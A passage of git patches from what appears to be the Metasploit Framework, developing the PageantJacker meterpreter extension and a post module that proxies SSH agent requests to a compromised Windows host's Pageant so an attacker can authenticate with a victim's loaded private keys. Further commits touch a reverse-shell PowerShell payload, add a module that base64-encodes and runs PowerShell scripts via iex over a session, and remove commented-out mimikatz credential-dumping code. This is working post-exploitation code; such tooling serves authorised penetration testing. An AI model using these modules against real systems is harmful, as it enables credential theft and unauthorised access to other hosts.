R R") + print_line(" /WW\. .wWWWW/ M M M W W R R") + print_line(" |WWWWWWWWWWW/") + print_line(" .WWWWWW. PageantJacker Extension") + print_line + print_line(" Use post/windows/manage/forward_pageant to proxy agent requests through Pageant") + print_line end - # if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) - # print_line - # print_warning "Loaded x86 PageantJacker on an x64 architecture." - # end - #end - # # List of supported commands. # def commands { - #"start_pageant_forwarding" => "Create a local socket and forward all requests to the remote Pageant", + # No commands here, bceause everything is done from the POST module } end -# def cmd_start_pageant_forwarding(*args) -# sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" -# sockpath = "/tmp/parp" -# ::File.delete sockpath -# if ::File.exists?(sockpath) -# print_line("Your requested socket (#{sockpath}) already exists. Remove it or choose another path and try again.") -# return -# end -# -# ::UNIXServer.open(sockpath) {|serv| -# print_line("Launched listening socket on #{sockpath}.") -# print_line("Set your SSH_AUTH_SOCK variable to #{sockpath} (export SSH_AUTH_SOCK=\"#{sockpath}\"") -# print_line("Now use any tool normally (e.g. ssh-add)") -# -# loop { -# s = serv.accept -# loop { -# socket_request_data = s.recvfrom(8192) -# break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? -# -# #puts socket_request_data.first.inspect -# #puts socket_request_data.first.unpack('NCH*') -# -# #puts 'Request' -# response_data = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) -# -# if !response_data.nil? -# #puts "Response Data\n" -# #resp = response_data.unpack('NCH*') -# #puts "resp size #{resp[0]} resp type: #{resp[1]} actual_size #{resp[2].size+5}" -# #puts "resp #{resp[2].unpack('H*').first}" -# s.send response_data,0 -# end -# } -# } -# } - -# if ::File.exists?(sockpath) -# print_line("Cleaning up; removing #{sockpath}") -# ::File.delete(sockpath) -# else -# print_line("Unable to remove socket #{sockpath}") -# end -# end - - -# @@command_opts = Rex::Parser::Arguments.new( -# "-f" => [true, "The function to pass to the command."], -# "-a" => [true, "The arguments to pass to the command."], -# "-h" => [false, "Help menu."] -# ) -# -# def cmd_mimikatz_command(*args) -# if (args.length == 0) -# args.unshift("-h") -# end -# -# cmd_args = nil -# cmd_func = nil -# arguments = [] -# -# @@command_opts.parse(args) { |opt, idx, val| -# case opt -# when "-a" -# cmd_args = val -# when "-f" -# cmd_func = val -# when "-h" -# print( -# "Usage: mimikatz_command -f func -a args\n\n" + -# "Executes a mimikatz command on the remote machine.\n" + -# "e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" + -# @@command_opts.usage) -# return true -# end -# } -# -# unless cmd_func -# print_error("You must specify a function with -f") -# return true -# end -# -# if cmd_args -# arguments = cmd_args.split(" ") -# end -# -# print_line client.mimikatz.send_custom_command(cmd_func, arguments) -# end -# -# def mimikatz_request(provider, method) -# print_status("Retrieving #{provider} credentials") -# accounts = method.call -# -# table = Rex::Ui::Text::Table.new( -# 'Header' => "#{provider} credentials", -# 'Indent' => 0, -# 'SortIndex' => 4, -# 'Columns' => -# [ -# 'AuthID', 'Package', 'Domain', 'User', 'Password' -# ] -# ) -# -# accounts.each do |acc| -# table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || "").gsub("\n","")] -# end -# -# print_line table.to_s -# -# return true -# end - # # Name for this dispatcher # diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index 1a73cecb8e..d2bf2dcfbc 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -31,12 +31,12 @@ class Metasploit3 < Msf::Post ## load incognito if(!session.pageantjacker) - print_status("Loading PageantJacker extension on #{session.sid} (#{session.session_host})") + print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})") session.core.use("pageantjacker") end if(!session.pageantjacker) - print_error("Failed to load PageantJacker on #{session.sid} (#{session.session_host})") + print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})") return false end From 0c0758bf03836b700ca721e27aad2987d86f49f1 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 10:56:04 +0100 Subject: [PATCH 0070/2172] Added socketpath --- .../post/windows/manage/forward_pageant.rb | 27 ++++++++++++------- 1 file changed, 18 insertions(+), 9 deletions(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index d2bf2dcfbc..ea698fb4e6 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -22,13 +22,15 @@ class Metasploit3 < Msf::Post 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) - #register_options( - # [ - # ], self.class) + register_options( + [ + OptString.new('SOCKETPATH', [false, 'Specify a filename for the local UNIX socket.', nil]), + ], self.class) end def run + ## load incognito if(!session.pageantjacker) print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})") @@ -40,7 +42,12 @@ class Metasploit3 < Msf::Post return false end - @sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" + if datastore['SocketPath'] + @sockpath = datastore['SocketPath'].to_s + else + @sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" + end + if ::File.exists?(@sockpath) print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.") return false @@ -50,7 +57,9 @@ class Metasploit3 < Msf::Post print_status("Launched listening socket on #{@sockpath}.") print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")") print_status("Now use any tool normally (e.g. ssh-add)") - + + print_status("Setting SSH_AUTH_SOCK to #{@sockpath}") + ENV['SSH_AUTH_SOCK'] = @sockpath loop { s = serv.accept loop { @@ -65,11 +74,11 @@ class Metasploit3 < Msf::Post end def cleanup - - if ::File.exists?(@sockpath) - ::File.delete(@sockpath) + if @sockpath + if ::File.exists?(@sockpath) + ::File.delete(@sockpath) + end end - end end From d704e958902c3e2f7d44975b8743fbdd02f5b675 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 11:34:25 +0100 Subject: [PATCH 0071/2172] Tidying up --- .../extensions/pageantjacker/pageantjacker.rb | 25 ++++++------------- .../post/windows/manage/forward_pageant.rb | 16 +++++++----- 2 files changed, 18 insertions(+), 23 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb index 774a256e11..2e442a2c1d 100644 --- a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb +++ b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb @@ -41,25 +41,16 @@ class Pageantjacker < Extension packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN, size) packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN, blob) - response = client.send_request(packet_request) - response_success = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS) - returned_blob = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB) - error = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE) + response = client.send_request(packet_request) + return nil if !response -# puts "Response success: #{response_success}, Response error #{error}" -# parse_blob(returned_blob) + pageant_plugin_response = { + success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS) + blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB) + error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE) + } - if response_success -# puts "Received successful response: #{returned_blob.size}" -# puts "Error is: #{error}" -# puts returned_blob.unpack('NCH*') - return returned_blob - else -# puts "Received error message: #{error}" - return nil - end - - return nil + return pageant_plugin_response end # def parse_blob(blob) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index ea698fb4e6..f62d23a818 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post )) register_options( [ - OptString.new('SOCKETPATH', [false, 'Specify a filename for the local UNIX socket.', nil]), + OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil]), ], self.class) end @@ -54,19 +54,23 @@ class Metasploit3 < Msf::Post end ::UNIXServer.open(@sockpath) {|serv| - print_status("Launched listening socket on #{@sockpath}.") + print_status("Launched listening socket on #{@sockpath}") print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")") print_status("Now use any tool normally (e.g. ssh-add)") - print_status("Setting SSH_AUTH_SOCK to #{@sockpath}") - ENV['SSH_AUTH_SOCK'] = @sockpath loop { s = serv.accept loop { socket_request_data = s.recvfrom(8192) break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? - response_data = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) - s.send response_data,0 if !response_data.nil? + vprint_status("PageantJacker: Received data from socket (Size: #{socket_request_data.first.size})") + response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) + if response[:success] + if response[:blob] + s.send response[:blob],0 + end + end + vprint_status("PageantJacker: Success='#{response[:success]}', Error=>'#{response[:error]}'") } } } From ea4d3415ec5440b96be44e950bcaf6ace4a035a3 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 12:21:00 +0100 Subject: [PATCH 0072/2172] Continued to tidy up code, added verbose mode to assist in debugging --- .../extensions/pageantjacker/pageantjacker.rb | 4 ++-- modules/post/windows/manage/forward_pageant.rb | 10 +++++----- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb index 2e442a2c1d..48cd6f5d48 100644 --- a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb +++ b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb @@ -45,8 +45,8 @@ class Pageantjacker < Extension return nil if !response pageant_plugin_response = { - success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS) - blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB) + success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS), + blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB), error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE) } diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index f62d23a818..78b35e2090 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -18,7 +18,9 @@ class Metasploit3 < Msf::Post This module forwards Pageant. }, 'License' => MSF_LICENSE, - 'Author' => 'Stuart Morgan ', + 'Author' => [ + 'Stuart Morgan ', + ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) @@ -30,8 +32,6 @@ class Metasploit3 < Msf::Post def run - - ## load incognito if(!session.pageantjacker) print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})") session.core.use("pageantjacker") @@ -63,14 +63,14 @@ class Metasploit3 < Msf::Post loop { socket_request_data = s.recvfrom(8192) break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? - vprint_status("PageantJacker: Received data from socket (Size: #{socket_request_data.first.size})") + vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})") response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) if response[:success] if response[:blob] s.send response[:blob],0 end end - vprint_status("PageantJacker: Success='#{response[:success]}', Error=>'#{response[:error]}'") + vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Error='#{response[:error]})'") } } } From 811c45ab90e7a07fc77e346d95f2e796503621d3 Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 14:06:41 +0100 Subject: [PATCH 0073/2172] new --- data/exploits/powershell/powerfun.ps1 | 2 +- .../windows/manage/powershell/load_script.rb | 58 +++++++++++++++++++ 2 files changed, 59 insertions(+), 1 deletion(-) create mode 100644 modules/post/windows/manage/powershell/load_script.rb diff --git a/data/exploits/powershell/powerfun.ps1 b/data/exploits/powershell/powerfun.ps1 index b6fd7bfda3..f8d323a08b 100644 --- a/data/exploits/powershell/powerfun.ps1 +++ b/data/exploits/powershell/powerfun.ps1 @@ -36,7 +36,7 @@ function powerfun $stream = $sslStream } - [byte[]]$bytes = 0..255|%{0} + [byte[]]$bytes = 0..65555|%{0} $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb new file mode 100644 index 0000000000..d55292c030 --- /dev/null +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'zlib' # TODO: check if this can be done with REX + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "Import Scripts into PowerShell Session", + 'Description' => %q{ + This module will download and execute a PowerShell script over a meterpreter session. + The user may also enter text substitutions to be made in memory before execution. + Setting VERBOSE to true will output both the script prior to execution and the results. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['powershell'], + 'Author' => [ + 'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script + 'RageLtMan' # post module + ] + )) + + register_options( + [ + OptPath.new( 'SCRIPT', [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), + OptPath.new( 'FOLDER', [true, 'Path to folder containing PS scripts', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), + ], self.class) + + end + + def run + script_in = read_script(datastore['SCRIPT']) + + # Convert expression to unicode + unicode_expression = Rex::Text.to_unicode(script_in) + + # Base64 encode the unicode expression + encoded_expression = Rex::Text.encode_base64(unicode_expression) + + session.shell_command("$script = \"#{encoded_expression}\"") + session.shell_command("$decscript = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($script))") + session.shell_command("$scriptbtye = [System.Text.Encoding]::UTF8.GetBytes(\"$decscript\")") + session.shell_command("$scriptbtyebas = [System.Convert]::ToBase64String($scriptbtye) ") + session.shell_command("$scriptbtyebase = ([System.Convert]::FromBase64String($scriptbtyebas))") + session.shell_command("([System.Text.Encoding]::UTF8.GetString($scriptbtyebase))|iex") + print_good("Modules loaded") + end + +end + From 0cda746bfb6c357cc1fa297aa0e6686b1e4a20e6 Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 14:08:59 +0100 Subject: [PATCH 0074/2172] Updated size --- data/exploits/powershell/powerfun.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/exploits/powershell/powerfun.ps1 b/data/exploits/powershell/powerfun.ps1 index f8d323a08b..6b0ffa61f0 100644 --- a/data/exploits/powershell/powerfun.ps1 +++ b/data/exploits/powershell/powerfun.ps1 @@ -36,7 +36,7 @@ function powerfun $stream = $sslStream } - [byte[]]$bytes = 0..65555|%{0} + [byte[]]$bytes = 0..44444|%{0} $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) From f8fce7b7f6db237517eb24ef5c7c96671465c045 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 14:29:56 +0100 Subject: [PATCH 0075/2172] Further tidying up of code, adding descriptions etc --- .../post/windows/manage/forward_pageant.rb | 25 ++++++++++++++----- 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index 78b35e2090..7084731525 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -13,9 +13,17 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Forward Pageant', + 'Name' => 'Forward SSH agent requests to Pageant', 'Description' => %q{ - This module forwards Pageant. + This module forwards SSH agent requests from a local socket to a remote Pageant instance. + If a target Windows machine is compromised and is running Pageant, this will allow the + attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are + tunnelled through the meterpreter session. This could therefore be used to authenticate + with a remote host using a private key which is loaded into a remote user's Pageant instance, + without ever having knowledge of the private key itself. + + Note that this requires the PageantJacker meterpreter extension, but this will be automatically + loaded into the remote meterpreter session by this module if it is not already loaded. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -32,27 +40,32 @@ class Metasploit3 < Msf::Post def run + # Attempt to load the pageantjacker extension if it isn't already loaded. if(!session.pageantjacker) print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})") session.core.use("pageantjacker") end + # Fail if it cannot be loaded if(!session.pageantjacker) print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})") return false end + # Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one) if datastore['SocketPath'] @sockpath = datastore['SocketPath'].to_s else @sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" end + # Quit if the file exists, so that we don't accidentally overwrite something important on the host system if ::File.exists?(@sockpath) print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.") return false end + # Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance. ::UNIXServer.open(@sockpath) {|serv| print_status("Launched listening socket on #{@sockpath}") print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")") @@ -66,11 +79,11 @@ class Metasploit3 < Msf::Post vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})") response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) if response[:success] - if response[:blob] - s.send response[:blob],0 - end + s.send response[:blob],0 + vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{response[:error]}')") + else + print_error("PageantJacker: Unsuccessful response received (#{response[:error]})") end - vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Error='#{response[:error]})'") } } } From b2aef62a4003c3150c1b6983e8de04ca7a62e7d0 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 14:42:30 +0100 Subject: [PATCH 0076/2172] MSFTidy --- .../extensions/pageantjacker/pageantjacker.rb | 19 ++------------ .../command_dispatcher/pageantjacker.rb | 25 +++++++++---------- .../post/windows/manage/forward_pageant.rb | 16 ++++++------ 3 files changed, 22 insertions(+), 38 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb index 48cd6f5d48..d98abc8fd8 100644 --- a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb +++ b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb @@ -33,15 +33,12 @@ class Pageantjacker < Extension def forward_to_pageant(blob,size) return unless size > 0 return unless blob.size > 0 - #puts "Request indicated size: #{size}" - #parse_blob(blob) - # Create the packet packet_request = Packet.create_request('pageant_send_query') packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN, size) packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN, blob) - - response = client.send_request(packet_request) + + response = client.send_request(packet_request) return nil if !response pageant_plugin_response = { @@ -53,18 +50,6 @@ class Pageantjacker < Extension return pageant_plugin_response end -# def parse_blob(blob) -# b = blob.unpack('NCH*') -# puts " blob size #{blob.size}" -# puts " blob data (20 chars: #{blob.unpack('H20').first}" -# puts " ssh packet size: #{b[0]}" -# puts " ssh type: #{b[1]}" -# puts " ssh data: #{b[2]}" -# end - -# def stop_listening -# end - end end; end; end; end; end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb index 4a0c7d57c1..598fea8154 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb @@ -6,11 +6,9 @@ module Post module Meterpreter module Ui -require 'tmpdir' - ### # -# PageantJacker extension +# PageantJacker extension # ### class Console::CommandDispatcher::PageantJacker @@ -23,17 +21,18 @@ class Console::CommandDispatcher::PageantJacker super print_line print_line - print_line(" .mMMMMMm. mMMm M WWW W W RRRRR") - print_line(" mMMMMMMMMMMM. MM MM W W W R R") - print_line(" /MMMM- -MM. MM MM W W W R R") - print_line(" /MMM. _ \/ ^ M M M M W W W W RRRR") - print_line(" |M. aRRr /W| M M M M W W W W R R") - print_line(" \/ .. ^^^ wWWW| M M M W W R R") - print_line(" /WW\. .wWWWW/ M M M W W R R") - print_line(" |WWWWWWWWWWW/") - print_line(" .WWWWWW. PageantJacker Extension") + print_line(" .mMMMMMm. mMMm M WWW W W RRRRR") + print_line(" mMMMMMMMMMMM. MM MM W W W R R") + print_line(" /MMMM- -MM. MM MM W W W R R") + print_line(" /MMM. _ \/ ^ M M M M W W W W RRRR") + print_line(" |M. aRRr /W| M M M M W W W W R R") + print_line(" \/ .. ^^^ wWWW| M M M W W R R") + print_line(" /WW\. .wWWWW/ M M M W W R R") + print_line(" |WWWWWWWWWWW/") + print_line(" .WWWWWW. PageantJacker Extension") + print_line(" stuart.morgan@mwrinfosecurity.com") print_line - print_line(" Use post/windows/manage/forward_pageant to proxy agent requests through Pageant") + print_line(" Use post/windows/manage/forward_pageant to proxy through Pageant") print_line end diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index 7084731525..5474fa112f 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Forward SSH agent requests to Pageant', + 'Name' => 'Forward SSH Agent Requests To Remote Pageant', 'Description' => %q{ This module forwards SSH agent requests from a local socket to a remote Pageant instance. If a target Windows machine is compromised and is running Pageant, this will allow the @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Post loaded into the remote meterpreter session by this module if it is not already loaded. }, 'License' => MSF_LICENSE, - 'Author' => [ + 'Author' => [ 'Stuart Morgan ', ], 'Platform' => [ 'win' ], @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Post if ::File.exists?(@sockpath) print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.") return false - end + end # Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance. ::UNIXServer.open(@sockpath) {|serv| @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Post print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")") print_status("Now use any tool normally (e.g. ssh-add)") - loop { + loop { s = serv.accept loop { socket_request_data = s.recvfrom(8192) @@ -79,14 +79,14 @@ class Metasploit3 < Msf::Post vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})") response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) if response[:success] - s.send response[:blob],0 + s.send response[:blob],0 vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{response[:error]}')") else print_error("PageantJacker: Unsuccessful response received (#{response[:error]})") end - } - } - } + } + } + } end From 2eae9e2614aeb09f4f25d3cf1ac32413925750d5 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 14:44:32 +0100 Subject: [PATCH 0077/2172] Rubocop --- .../post/windows/manage/forward_pageant.rb | 81 +++++++++---------- 1 file changed, 37 insertions(+), 44 deletions(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index 5474fa112f..c3febb766a 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -8,94 +8,87 @@ require 'rex' require 'tmpdir' class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - def initialize(info={}) - super( update_info( info, - 'Name' => 'Forward SSH Agent Requests To Remote Pageant', - 'Description' => %q{ - This module forwards SSH agent requests from a local socket to a remote Pageant instance. - If a target Windows machine is compromised and is running Pageant, this will allow the - attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are - tunnelled through the meterpreter session. This could therefore be used to authenticate - with a remote host using a private key which is loaded into a remote user's Pageant instance, - without ever having knowledge of the private key itself. + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Forward SSH Agent Requests To Remote Pageant', + 'Description' => %q{ + This module forwards SSH agent requests from a local socket to a remote Pageant instance. + If a target Windows machine is compromised and is running Pageant, this will allow the + attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are + tunnelled through the meterpreter session. This could therefore be used to authenticate + with a remote host using a private key which is loaded into a remote user's Pageant instance, + without ever having knowledge of the private key itself. - Note that this requires the PageantJacker meterpreter extension, but this will be automatically - loaded into the remote meterpreter session by this module if it is not already loaded. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Stuart Morgan ', - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) + Note that this requires the PageantJacker meterpreter extension, but this will be automatically + loaded into the remote meterpreter session by this module if it is not already loaded. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Stuart Morgan ' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) register_options( [ - OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil]), + OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil]) ], self.class) end def run - # Attempt to load the pageantjacker extension if it isn't already loaded. - if(!session.pageantjacker) + unless session.pageantjacker print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})") session.core.use("pageantjacker") end # Fail if it cannot be loaded - if(!session.pageantjacker) + unless session.pageantjacker print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})") return false end # Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one) if datastore['SocketPath'] - @sockpath = datastore['SocketPath'].to_s + @sockpath = datastore['SocketPath'].to_s else - @sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" + @sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" end # Quit if the file exists, so that we don't accidentally overwrite something important on the host system - if ::File.exists?(@sockpath) - print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.") - return false + if ::File.exist?(@sockpath) + print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.") + return false end # Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance. - ::UNIXServer.open(@sockpath) {|serv| + ::UNIXServer.open(@sockpath) do|serv| print_status("Launched listening socket on #{@sockpath}") print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")") print_status("Now use any tool normally (e.g. ssh-add)") - loop { + loop do s = serv.accept - loop { + loop do socket_request_data = s.recvfrom(8192) break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})") response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) if response[:success] - s.send response[:blob],0 + s.send response[:blob], 0 vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{response[:error]}')") else print_error("PageantJacker: Unsuccessful response received (#{response[:error]})") end - } - } - } - - end - - def cleanup - if @sockpath - if ::File.exists?(@sockpath) - ::File.delete(@sockpath) end + end end end + def cleanup + # Remove the socket that we created, if it still exists + ::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath + end end From fac09a6bcfef5f513b734c2ef210d16ad6f5b574 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 14:46:44 +0100 Subject: [PATCH 0078/2172] Added a clarification comment --- modules/post/windows/manage/forward_pageant.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index c3febb766a..5ecf10df18 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ - 'Stuart Morgan ' + 'Stuart Morgan ', + 'Ben 